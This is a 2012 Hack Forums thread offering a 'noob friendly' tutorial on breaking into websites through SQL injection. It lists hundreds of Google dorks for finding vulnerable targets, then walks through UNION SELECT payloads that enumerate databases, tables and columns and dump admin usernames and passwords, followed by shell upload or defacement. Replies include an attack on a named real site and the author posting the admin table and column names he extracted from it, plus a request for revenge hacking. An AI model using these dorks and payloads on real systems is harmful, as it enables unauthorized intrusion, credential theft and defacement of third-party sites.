

Forum:[Hack Forums](#)

Thread: [\[TUT\]\[N00B FRIENDLY\] How to hack hack websites with SQLi \[N00B FRIENDLY\] \[TUT\]](#)

The Don Corleone - June 17, 2012, 11:29 am

Hello HF, The last time I see too much threads with people asking for help with SQLi so I made this tutorial.

Lets start:

First you need a website to hack, you can find one with this dorks just put them in google and you will get some websites.

Some dorks:

```
Code inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
```

inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=

inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=

inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
article.php?id=
play_old.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communiquer_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=

review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id=
declaration_more.php?decl_id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
Productinfo.php?id=
website.php?id=
Productinfo.php?id=
showimg.php?id=
view.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
iniziativa.php?in=
detail_new.php?id=
tekst.php?id=

newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
hotel.php?id=
art.php?idm=
title.php?id=
look.php?ID=
story.php?id=
labels.php?id=
review.php?id=
chappies.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
ages.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: filesize()
"id=" & intext:"Warning: require()In front of every dork has to be "'inurl:' without quotes. Some dorks
has it already but not all the dorks, so you have to put them by yourself.

The next thing what you wanna know is: is the site vulnerable?

To know that you just have to put a ' after the url, so if the url is

<http://www.example.net/article.php?id=12> it has too look like

<http://www.example.com/index.php?id=12'>

If you press enter you have to get an error if you don't get an error the site isn't vulnerable.

The next thing is getting the number of columns

After you find your vulnerable site the first step you need to take is

to find the number of columns. The easiest way to do this is

use the order: "order by". All you have to do is put "order by (number)--"

without quotes at the end of your url. You don't have to write the parentheses. So it should look like
this:

Code:

<http://www.example.com/index.php?id=12> order by 10--

You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.

For example

Code `http://www.example.com/index.php?id=3 order by 1--`
`http://www.example.com/index.php?id=3 order by 2--`
`http://www.example.com/index.php?id=3 order by 3--`

...

`http://www.example.com/index.php?id=3 order by 9--` Lets say on order by 9-- you get an error page. This means that the website has 8 columns.

The next think is: finding acessable columns

Now we have the number of columns we need to get the column numbers that we can grab information from. We do this by by using the "Union" "select" and Number of columns. You put them together in your url like this:

Code `http://www.example.com/index.php?id=-12+UNION+SELECT+1,2,3,4,5,6,7,8--` For the end part of the url, (1,2,3,4,5,6,7,8) You put the number of columns you found in the first step. Since I found that the site I was testing had 8 columns I put 1,2,3,4,5,6,7,8. Also remeber to put a - infront of the id number.

The page should look a bit fucked up and there should be 2 numbers on the page. These two numbers are the colum numbers we can get information from. We will replace them with statements later on.

The next thing is: finding MySQL database version

The reasons you need the database name is to see weather or not the website is worth your time because any msql database under 5 you will have to blindly guess the table and column names. If you are a newbie and you find that the database is below 5 I urge you to find a different site.

Now we take one of the numbers that we found from the step above and replace it with @@version For Example, before our url looked like this

Code `http://www.example.com/index.php? id=-12+UNION+SELECT+1,2,3,4,5,6,7,8--`

Now since we will replace the 1 with @@version

Code `http://www.example.com/index.php?id=-12+UNION+SELECT+@@version,2,3,4,5,6,7,8--`
Press enter and now the page should display the database number.

Now the number that we had in the first step will be replaced with the database number. As it is shown above.

The next thing is: finding database names

Next we are going to inject the website to find the database names. We do this by replacing @@version

with `group_concat(schema_name)` and also add `+ from+information_schema.schemata--` after the last number in our url

So now our url should look like this:

Code

`http://www.example.com/index.php?id=-12+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7,8+ from+information_schema.schemata--`

It will list the database names. Now to find which one is currently in use replace

`group_concat(schema_name)` with:

`concat(database())` and delete `+ from+information_schema.schemata` So the url should now look like this:

Code

`http://www.example.com/index.php?id=-12+UNION+SELECT+concat(database()),2,3,4,5,6,7,8--`It will display which database is in use.

The next thing is: finding table names

To get table names of current database you need to replace `concat(database())` with `group_concat(table_name)` and add `from information_schema.tables where table_schema=database()` between the last number and the `--` also remove the `+` signs from the union select. Now your url should look like this:
Code `http://www.example.com/index.php?id=-12 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database()--`
The page should now show the Table names.

The next thing is: finding column names

This is exactly like getting table names you just change `table_name` to `column_name` and `information_schema.tables` to `information_schema.columns`
So your url should look like this:
Code `http://www.example.com/index.php?id=-12 union select group_concat(column_name),2,3,4,5,6,7,8 from information_schema.columns where table_schema=database()--`This should give you the column names.

Lets say they gave us back the cloumn names

`admin_username`
`admin_password`

The next thing is: getting information

Now we can have the database name, table names, and colomn names we can put them together and get information from them. To do this we need to put the following in our url:
Code `http://www.example.com/index.php?id=-12 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--`
Now replace `columnname` with the column names you want infomation from. The `0x3a` will make a : to seperate the information for you. Put as many column names as you want to remeber to stick to the format. Also replace `databasename.tablename`
With the database name and the table name the column names were in. After all this your url should look like this:
Code `http://www.example.com/index.php?id=-12 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7,8 from whippit.t_admin--`
Now you should get usernames and passwords for the admin.
All you have to do next is just upload your shell or replace the `index.html` file for your deface page.

That's all I hope you guys now know how to hack a website with SQLi. ?

Hi-Tech E - September 19, 2012, 5:51 am

Hey,

I did everything as U wrote, but when i want to get data i get an error:

Warning: `mysql_fetch_array()` expects parameter 1 to be resource, boolean given in

/home/p2774jfu/public_html/jackierobinson.org/news/news.php on line 47

Thats the ulr of the site I am trying to get data from:

<http://www.jackierobinson.org/news/news.php?id=58>

What's more i got few other problems. How can i know which table contains specific column. I also got a problem with finding the admin page, as even Havij can find it.

The Don Corleone - September 19, 2012, 11:18 am

(Sep 19, 2012 05:51 AM)Ziobo Wrote: [\[CITE\]](#) Hey,
I did everything as U wrote, but when i want to get data i get an error:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
/home/p2774jfu/public_html/jackierobinson.org/news/news.php on line 47

Thats the ulr of the site I am trying to get data from:

<http://www.jackierobinson.org/news/news.php?id=58>

What's more i got few other problems. How can i know which table contains specific column. I also got a problem with finding the admin page, as even Havij can find it.

I get the same error, I have no idea why but try another website and you'll probably succeed. You can't know which table contains specific columns because you need to try. To find the admin page you can use several tools, search on HF and you'll find a good one.

The info I got before the error:

Database: p2774jfu_prod2

Table: tblAdminUser

Columns: issuperadmin, email, password

cybernetiks - September 24, 2012, 5:39 pm

I have seen and read alot of tutorial on this forum..many claiming to be Noob Friendly..This here,is actually the best and first Noob Friendly tutorial on SQL injection i have ever read and understood it word-for-word.BTW, great tutorial bro! ...My question;

How do i know where to inject in a website just given only the homepage url.. i.e a url without the ".php?id=" . I hate to give up to the use of Havij to find vulnerabilities for me. Is there a known method for getting the part of a website to inject? Hope you u/stand my question..thanks in advance.

DeathSh0t18 - September 24, 2012, 7:46 pm

Nice guide dude. I'll try to hack one soon.

The Don Corleone - September 25, 2012, 6:37 am

(Sep 24, 2012 05:39 PM)cybernetiks Wrote: [\[CITE\]](#) I have seen and read alot of tutorial on this forum..many claiming to be Noob Friendly..This here,is actually the best and first Noob Friendly tutorial on SQL injection i have ever read and understood it word-for-word.BTW, great tutorial bro! ...My question;

How do i know where to inject in a website just given only the homepage url.. i.e a url without the ".php?id=" . I hate to give up to the use of Havij to find vulnerabilities for me. Is there a known

method for getting the part of a website to inject? Hope you u/stand my question..thanks in advance.

You need to search for a website with a dork and when you're on that page you need to inject it on that page and not on another page. Also there is a program to be sure: <http://www.acunetix.com/>

Suved - September 25, 2012, 7:04 am

(Sep 24, 2012 05:39 PM)cybernetiks Wrote: [\[CITE\]](#) I have seen and read alot of tutorial on this forum..many claiming to be Noob Friendly..This here,is actually the best and first Noob Friendly tutorial on SQL injection i have ever read and understood it word-for-word.BTW, great tutorial bro! ...My question;

How do i know where to inject in a website just given only the homepage url.. i.e a url without the ".php?id=" . I hate to give up to the use of Havij to find vulnerabilities for me. Is there a known method for getting the part of a website to inject? Hope you u/stand my question..thanks in advance.Most of them are noob friendly SQLi tutorial check website and forum hacking section. Mine thread is too noob friendly <https://hackforums.net/showthread.php?tid=2459564>

For finding vuln in specific site you can use google dork
site:site.com inurl:php?id=

Forgotten to say thanks for contribution but there lot of tutorial on sqli
but i appreciate your hardwork

Kainaan - September 25, 2012, 7:05 am

Seems like a pretty decent tutorial, bookmarked it for a later read. Thanks for your contribution :)

cybernetiks - September 25, 2012, 11:35 am

(Sep 25, 2012 07:04 AM)Suved Wrote: [\[CITE\]](#) Most of them are noob friendly SQLi tutorial check website and forum hacking section. Mine thread is too noob friendly
<https://hackforums.net/showthread.php?tid=2459564>

For finding vuln in specific site you can use google dork
site:site.com inurl:php?id=

Forgotten to say thanks for contribution but there lot of tutorial on sqli
but i appreciate your hardworkWell, i bet there must be..unfortunately i may not have come across them.But i'm looking at this here you have recommended. Thanks a bunch!

cms_star - September 25, 2012, 12:13 pm

Wow nice tutorial and detailed with new dorks . Bookmarked . This help me alot . Thanks

The Don Corleone - September 25, 2012, 12:20 pm

(Sep 25, 2012 12:13 PM)cms_star Wrote: [\[CITE\]](#) Wow nice tutorial and detailed with new dorks . Bookmarked . This help me alot . Thanks
Thanks for the kind words, hope you'll enjoy it.

RUMBLE - September 25, 2012, 2:01 pm

Pretty good tutorial, it covers the basicsi, I think your title is a bit messed up though: How to hack hack websites?

kekz - September 26, 2012, 7:58 pm

im newbie please teach me how to hack pm me, my website given by my friend was hacked., and i want to take revenge for that
please help me

cybernetiks - September 26, 2012, 10:26 pm

(Sep 26, 2012 07:58 PM)kekz Wrote: [\[CITE\]](#) im newbie please teach me how to hack pm me, my website given by my friend was hacked., and i want to take revenge for that please help me
Yea? make your thread here bro., [Beginner Hacking](#) Numerous help from that line. Goodluck learning

prada ? - September 27, 2012, 6:10 pm

wow this is really helpful, what if it's an article and it doesn't show any admin_username or admin_password? Sorry im a noob at sql

Austerity - September 28, 2012, 5:42 am

Very helpful towards me man, really needed a tut similar to this. Thanks ! <3

The Don Corleone - September 28, 2012, 6:50 am

Thanks for the kind words everybody.

(Sep 27, 2012 06:10 PM)Ryc3kBS Wrote: [\[CITE\]](#) wow this is really helpful, what if it's an article and it doesn't show any admin_username or admin_password? Sorry im a noob at sql
Search for something similar to that, maybe it's just pass or only users.

SteamBulgaria - October 7, 2012, 3:13 am

thanks for sharing this man , will help me alot in the future :)

ARANDOM - October 7, 2012, 10:42 am

What i really hate about these tutorials is that when i look for the table names its never fucking user_password

The Don Corleone - October 7, 2012, 10:47 am

(Oct 7, 2012 10:42 AM)ARANDOM Wrote: [\[CITE\]](#) What i really hate about these tutorials is that when i look for the table names its never fucking user_password
I know, it's just an example. But when you practice a little it'll become easier.

ak97 - October 7, 2012, 8:12 pm

(Sep 25, 2012 06:37 AM)TheBaron Wrote: [\[CITE\]](#) You need to search for a website with a dork and when you're on that page you need to inject it on that page and not on another page. Also there is a program to be sure: <http://www.acunetix.com/> It is not free ? . Google is the best dude to Search ?

The Don Corleone - October 8, 2012, 7:01 am

(Oct 7, 2012 08:12 PM)ak97 Wrote: [\[CITE\]](#) It is not free ? . Google is the best dude to Search ?
Yes, you search on Google with your dork, but if you want to hack a website and you don't know which page to inject you can use that program. I didn't say it's free, but you can get it for free.